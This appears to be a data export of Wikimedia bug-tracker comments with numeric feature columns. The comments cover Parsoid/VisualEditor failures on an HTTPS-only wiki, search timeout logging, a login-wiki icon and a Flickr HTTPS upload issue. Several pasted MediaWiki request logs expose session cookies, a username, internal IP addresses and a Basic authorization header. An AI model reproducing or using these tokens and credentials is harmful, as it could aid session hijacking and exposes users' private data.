COOKIE: infoLoggedOut=1386191878; __utma=198203634.1203293077.1386191715.1386191715.1386191715.1; __utmc=198203634; __utmz=198203634.1386191715.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=4f15c368d4244cc2b9e72e06f65adc12; wikiEditor-0-booklet-characters-page=latin; wikiEditor-0-toolbar-section=advanced; vector-nav-p-Repository=true; vector-nav-p-tb=true
CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
LocalisationCache: using store LCStoreDB
Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
Parser: using preprocessor: Preprocessor_DOM
Connected to database 0 at lnxvmiptdbt01
Class UniversalLanguageSelectorHooks not found; skipped loading
Fully initialised
User: got user 378 from cache
User: loading options for user 378 from override cache.
User: logged in from session
ApiMain::setCacheMode: setting cache mode private
IP: 10.29.122.24",,,1386269909,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.25,0.0,0.25,3.75,0.0,0.0,0.0,0.0,0.5,0.25,0.0,0.0,0.0,0.25,0.5,1.0,5.25,0.0,0.75,0.0,0.0,0.25,0.5,0.0,0.0,0.25,0.0,0.25,0.0,0.5,1.0,0.0,0.0,0.25,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.75,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,17.5,0.0,0.0,0.25,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,0.5,5.25,13.0,0.25,2.75,0.0,0.5,0.0,0.0,0.25,0.0,1.75,0.0,0.25,0.75,4.914293922369765,0.5861210418794689,"Addition:
Changing $wgVisualEditorParsoidURL to 'URL results in a different error.

Error loading data from server: parsoidserver-http-curl-error: SSL connect error. Would you like to retry?


Headers below:

Start request POST /w/api.php
HTTP HEADERS:
HOST: my.wiki.com
CONNECTION: keep-alive
CONTENT-LENGTH: 60
AUTHORIZATION: Basic bWVtY2FjadGU6cGFzc3dvcmQ=
ACCEPT: application/json, text/javascript, */*; q=0.01
ORIGIN: URL
X-REQUESTED-WITH: XMLHttpRequest
USER-AGENT: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
REFERER: URL
ACCEPT-ENCODING: gzip,deflate,sdch
ACCEPT-LANGUAGE: en-US,en;q=0.8
COOKIE: infoLoggedOut=1386191878; __utma=198203634.1203293077.1386191715.1386191715.1386191715.1; __utmc=198203634; __utmz=198203634.1386191715.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=4f15c368d4244cc2b9e72e06f65adc12; wikiEditor-0-booklet-characters-page=latin; wikiEditor-0-toolbar-section=advanced; vector-nav-p-Repository=true; vector-nav-p-tb=true
CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
LocalisationCache: using store LCStoreDB
Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
Parser: using preprocessor: Preprocessor_DOM
Connected to database 0 at lnxvmiptdbt01
Class UniversalLanguageSelectorHooks not found; skipped loading
Fully initialised
User: got user 378 from cache
User: loading options for user 378 from override cache.
User: logged in from session
ApiMain::setCacheMode: setting cache mode private
IP: 10.29.122.24"
277780,Parsoid cannot connect to https-only host?,"I am experincing the same bug.

Attempting to evoke VisualEditor to edit any pages where we have redirected all traffic to https results in the error.


In the browser:
Error loading data from server:parsoidserver-hhtp-curl-error:
Empty reply from server. Would you like to retry?


Parsoid displays the following upon each attempt to edit a page (in this case Main Page):

ERROR in localhost:Main_Page
Stack trace: DoesNotExistError: Page Fetch failure for null
worker 20040 died, restarting.


MediaWiki logs show the following for the request:

Start request POST /w/api.php
HTTP HEADERS:
HOST: my.wiki.com
CONNECTION: keep-alive
CONTENT-LENGTH: 60
ACCEPT: application/json, text/javascript, */*; q=0.01
ORIGIN: https://my.wiki.com
X-REQUESTED-WITH: XMLHttpRequest
USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
REFERER: https://my.wiki.com/wiki/Main_Page?veaction=edit
ACCEPT-ENCODING: gzip,deflate,sdch
ACCEPT-LANGUAGE: en-US,en;q=0.8
COOKIE: __utma=198203634.575160840.1386267474.1386267474.1386267474.1; __utmb=198203634.2.10.1386267474; __utmc=198203634; __utmz=198203634.1386267474.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=7200a1cbfcef48ded410afb07850a6fc
CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
LocalisationCache: using store LCStoreDB
Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
Parser: using preprocessor: Preprocessor_DOM
Connected to database 0 at lnxvmipdbt01
Class UniversalLanguageSelectorHooks not found; skipped loading
Fully initialised
User: got user 378 from cache
User: loading options for user 378 from override cache.
User: logged in from session
ApiMain::setCacheMode: setting cache mode private
IP: 10.9.191.150",,,1386269124,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-82,True,0.75,0.0,0.25,0.0,0.25,3.0,0.0,0.0,0.0,0.0,1.25,0.0,0.0,0.0,0.0,0.75,1.25,1.0,7.5,0.0,1.25,0.0,0.0,0.25,0.5,0.0,0.0,0.0,0.0,0.25,0.0,1.25,1.25,0.0,0.25,0.25,0.0,0.0,0.25,0.75,0.0,0.0,0.0,1.25,0.0,0.0,0.0,0.0,0.0,18.25,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,1.75,0.25,19.25,0.5,0.0,2.75,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,1.0,7.5,14.25,0.25,2.5,0.0,1.0,0.0,0.25,0.25,0.0,2.0,0.0,0.25,0.5,4.841145833333334,0.6197916666666666,"I am experincing the same bug.

Attempting to evoke VisualEditor to edit any pages where we have redirected all traffic to https results in the error.


In the browser:
Error loading data from server:parsoidserver-hhtp-curl-error:
Empty reply from server. Would you like to retry?


Parsoid displays the following upon each attempt to edit a page (in this case Main Page):

ERROR in localhost:Main_Page
Stack trace: DoesNotExistError: Page Fetch failure for null
worker 20040 died, restarting.


MediaWiki logs show the following for the request:

Start request POST /w/api.php
HTTP HEADERS:
HOST: my.wiki.com
CONNECTION: keep-alive
CONTENT-LENGTH: 60
ACCEPT: application/json, text/javascript, */*; q=0.01
ORIGIN: URL
X-REQUESTED-WITH: XMLHttpRequest
USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
REFERER: URL
ACCEPT-ENCODING: gzip,deflate,sdch
ACCEPT-LANGUAGE: en-US,en;q=0.8
COOKIE: __utma=198203634.575160840.1386267474.1386267474.1386267474.1; __utmb=198203634.2.10.1386267474; __utmc=198203634; __utmz=198203634.1386267474.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=7200a1cbfcef48ded410afb07850a6fc
CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
LocalisationCache: using store LCStoreDB
Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
Parser: using preprocessor: Preprocessor_DOM
Connected to database 0 at lnxvmipdbt01
Class UniversalLanguageSelectorHooks not found; skipped loading
Fully initialised
User: got user 378 from cache
User: loading options for user 378 from override cache.
User: logged in from session
ApiMain::setCacheMode: setting cache mode private
IP: 10.9.191.150"
277773,Parsoid cannot connect to https-only host?,"Debug log from parsoid:
 - worker(23680) ready
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 4 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 3 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 2 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 1 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 0 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
ERROR in localhost:Main_Page:
Page Fetch failure for null
Stack trace: DoesNotExistError: Page Fetch failure for null
worker 23671 died (1), restarting.
 - worker(23690) loading...
 - worker(23690) ready


I don't know if the API works from the external network, this is a protected wiki, I hope login won't be necessary.

https://wiki.mc128k.info",,,1386145344,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.6666666666666666,2.6666666666666665,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,3.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,2.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,8.333333333333334,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,13.666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,6.333333333333333,0.0,0.6666666666666666,3.6666666666666665,12.0,0.0,12.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,0.0,0.0,2.794871794871795,0.39194139194139194,"Debug log from parsoid:
 - worker(23680) ready
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 4 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 3 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 2 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 1 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
Retrying Page Fetch request for null, 0 remaining
{
  ""0"": ""WARNING: RETRY:"",
  ""1"": {}
}
ERROR in localhost:Main_Page:
Page Fetch failure for null
Stack trace: DoesNotExistError: Page Fetch failure for null
worker 23671 died (1), restarting.
 - worker(23690) loading...
 - worker(23690) ready


I don't know if the API works from the external network, this is a protected wiki, I hope login won't be necessary.

URL"
277768,Parsoid cannot connect to https-only host?,"I just tested this with 'enwiki' and

parsoidConfig.setInterwiki( 'enwiki', 'https://en.wikipedia.org/w/api.php' );

We don't set the port explicitly and use the API uri as-is, so in theory https-only APIs should work. Do you have a public https-only API URI we can test with?",,,1386118696,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,True,,,-83,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,5.0,0.0,8.0,5.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,13.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,6.0,5.0,10.0,2.0,8.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.306451612903226,0.7580645161290323,"I just tested this with 'enwiki' and

parsoidConfig.setInterwiki( 'enwiki', 'URL );

We don't set the port explicitly and use the API uri as-is, so in theory https-only APIs should work. Do you have a public https-only API URI we can test with?"
277764,Parsoid cannot connect to https-only host?,"I'm sorry, I thought Parsoid was part of VisualEditor. Corrected. Thanks.
Latest git versions, of parsoid, mediawiki, visualeditor.",,,1381092220,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,11.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.107142857142857,0.7142857142857143,"I'm sorry, I thought Parsoid was part of VisualEditor. Corrected. Thanks.
Latest git versions, of parsoid, mediawiki, visualeditor."
277761,Parsoid cannot connect to https-only host?,"Hmm, shouldn't this be filed under product ""Parsoid""? :)
Which Parsoid version and which MediaWiki version is this about?",,,1381092082,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,19.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,12.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8076923076923077,"Hmm, shouldn't this be filed under product ""Parsoid""? :)
Which Parsoid version and which MediaWiki version is this about?"
56865,Monitor search HTTP timeouts,"UDP logging for search is currently disabled.  However, it would be good to be able to track the main errors.  An example of one that seems important (which I was receiving earlier tonight) is:

An error has occurred while searching: HTTP request timed out

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1380696120,1392335229.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-fumdp5y46dhpxixvu23m,task_description,declined,True,c3,1,True,False,True,-92,True,0.0,0.0,0.0,1.0,0.0,8.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,0.0,3.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,12.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,8.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,4.0,1.0,0.0,0.0,3.9722222222222223,0.75,"UDP logging for search is currently disabled.  However, it would be good to be able to track the main errors.  An example of one that seems important (which I was receiving earlier tonight) is:

An error has occurred while searching: HTTP request timed out

--------------------------
**Version**: unspecified
**Severity**: normal"
273927,Monitor search HTTP timeouts,This is mostly a WONTFIX for MWSearch at this point as we're moving full steam ahead towards Cirrus for everyone. The logging situation there is generally improved with slow queries and timeouts.,,,1392335229,,PHID-USER-oetk6bbl6omm354ejz3b,True,,,PHID-TASK-fumdp5y46dhpxixvu23m,task_subcomment,,True,c3,1,True,,,-72,True,0.0,3.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,9.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,14.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,4.685714285714286,0.9142857142857143,This is mostly a WONTFIX for MWSearch at this point as we're moving full steam ahead towards Cirrus for everyone. The logging situation there is generally improved with slow queries and timeouts.
273922,Monitor search HTTP timeouts,"If we're interested in timeouts only/mainly, the log for ""Search backend error"" could be split from mwsearch to its own log, if necessary.
Other than that, this is just a config change (Wikimedia product) I think?",,,1380696477,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-fumdp5y46dhpxixvu23m,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,2.0,0.0,8.0,2.0,0.0,0.0,4.0,2.0,2.0,0.0,2.0,0.0,4.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,14.0,2.0,2.0,4.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6530612244897958,0.9183673469387755,"If we're interested in timeouts only/mainly, the log for ""Search backend error"" could be split from mwsearch to its own log, if necessary.
Other than that, this is just a config change (Wikimedia product) I think?"
56500,Use a better CentralAuth icon for loginwiki,"https://login.wikimedia.org/wiki/Special:CentralAutoLogin/deleteCookies?type=icon - this is using a Wikipedia logo currently. Can we use a Wikimedia logo at least?

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1380027240,1381178345.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-nzebtgpchem4g773gg6i,task_description,resolved,True,c3,1,False,False,True,-93,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,3.6923076923076925,0.6923076923076923,"URL - this is using a Wikipedia logo currently. Can we use a Wikimedia logo at least?

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
257897,Use a better CentralAuth icon for loginwiki,"Change 86091 merged by jenkins-bot:
Change SUL image for loginwiki to WMF logo

https://gerrit.wikimedia.org/r/86091",,,1381172664,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,16.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.157894736842105,0.9473684210526315,"Change 86091 merged by jenkins-bot:
Change SUL image for loginwiki to WMF logo

GERRIT_URL"
257892,Use a better CentralAuth icon for loginwiki,"(In reply to comment #2)
> OK, but I'm just curious, where is this icon still seen?

Logout page.",,,1380192527,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7857142857142856,1.0,"(In reply to comment #2)
QUOTE

Logout page."
257888,Use a better CentralAuth icon for loginwiki,"OK, but I'm just curious, where is this icon still seen?",,,1380192352,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c3,1,True,,,-92,True,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.066666666666667,0.9333333333333333,"OK, but I'm just curious, where is this icon still seen?"
257884,Use a better CentralAuth icon for loginwiki,"Change 86091 had a related patch set uploaded by TTO:
Change SUL image for loginwiki to WMF logo

https://gerrit.wikimedia.org/r/86091",,,1380192303,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.9545454545454546,"Change 86091 had a related patch set uploaded by TTO:
Change SUL image for loginwiki to WMF logo

GERRIT_URL"
56468,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"This could be an upstream bug, either in HTTPSEverywhere or Flickr API, but I'm not sure.

When making a request for a flickr image such as https://secure.flickr.com/photos/sludgeulper/7447549052/in/photostream/ from UploadWizard while having HTTPSEverywhere  active, the API request to secure.flickr.com returns an empty result. When not having the extension active, the result is made to api.flickr.com and works as expected.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1379948580,1389207325.0,PHID-USER-2trxtywh5ma4onasf4kq,False,,False,PHID-TASK-zre4dw2by7umnxgdzcwg,task_description,invalid,True,c3,1,False,False,True,-93,True,0.0,0.0,0.0,1.0,2.0,10.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,15.0,3.0,5.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,9.0,5.0,0.0,0.0,0.0,1.0,0.0,2.0,5.0,0.0,3.0,0.0,0.0,1.0,4.3604651162790695,0.6627906976744186,"This could be an upstream bug, either in HTTPSEverywhere or Flickr API, but I'm not sure.

When making a request for a flickr image such as URL from UploadWizard while having HTTPSEverywhere  active, the API request to secure.flickr.com returns an empty result. When not having the extension active, the result is made to api.flickr.com and works as expected.

--------------------------
**Version**: unspecified
**Severity**: normal"
255830,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),Can't reproduce this. It seems Flickr changed how they handle HTTPS and there is no redirect now.,,,1389059684,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,5.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.05,0.95,Can't reproduce this. It seems Flickr changed how they handle HTTPS and there is no redirect now.
